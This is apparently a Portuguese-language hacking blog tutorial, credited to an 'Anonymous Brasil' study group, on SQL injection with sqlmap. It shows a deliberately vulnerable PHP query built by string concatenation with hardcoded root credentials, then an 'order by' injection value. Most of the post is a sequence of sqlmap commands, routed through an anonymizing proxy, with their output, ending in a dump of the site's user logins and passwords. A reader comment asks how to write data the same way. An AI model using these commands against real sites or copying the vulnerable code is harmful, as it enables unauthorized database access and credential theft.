Personalizando comandos SQLMAP e Analise de código PHP
SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
Vamos intender como funciona á URL
URL: https://www.siteteste.com.br/index.php?id=1
https :[Protocolo usado]
www.siteteste.com.br :[Domínio alvo]
index.php :[Arquivo php onde tem os include que fazem a consulta]
?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
1 :[Valor que será passado]
Código:
index.php?id=1
-------------------------------INDEX.PHP-------------------------
- if($_GET['id']){
- $id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;
- require_once('include/function.php'); // Inserindo arquivo function no código atual.
- }?>
Teste SQLMAP
Agora vamos entender como funciona o arquivo function.php
----------------------------FUNCTION.PHP-------------------------
- function pesquisa($tabela,$id){ //Noma da function
- $con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha
- $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.
- $query = mysql_query($sql); //executando select
- if (!$query) { die ('ERRO!:' . mysql_error()); }//Se der algo errado.
- while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.
- echo "$escrever['NOTICIA']
"; - //Imprimindo valor atual do campo noticia
- }
- mysql_close($con); // Fechando conexão!
- ?>
Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca.
Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50;
Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.
Dentro do codigo ficaria assim.
$sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"
Agora vamos para o sqlmap
./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 --dbs -p id -v 3 --proxy="http://localhost:8118"
Não explicarei comandos sqlmap favor pesquisar.
Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:
[ * ] web
[ * ] information_schema
Agora queremos saber quais as tabelas do banco de dados "web".
./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
[ * ] usuario
[ * ] noticias
[ * ] smtp
[ * ] blog
Neste momento precisamos saber quais as colunas da tabela usuario.
./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns
+--------+--------------+
| Column | Type |
+--------+--------------+
| ID | int(11) |
| login | varchar(255) |
| senha | varchar(255) |
+--------+--------------+
Logico que queres saber os usuario e senhas do site.
./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump
Vamos lá galera estudar não basta saber os comandos.Tem que é o funcionamento.
Grupo de Estudos Lacking Face &Anonymous Brasil.
parabens pelo tutorial, me indica onde encontro o comando para adicionar dados no banco de dados do mesmo jeito que voce seleciono , ja li varios livros e nao encontr
ResponderExcluir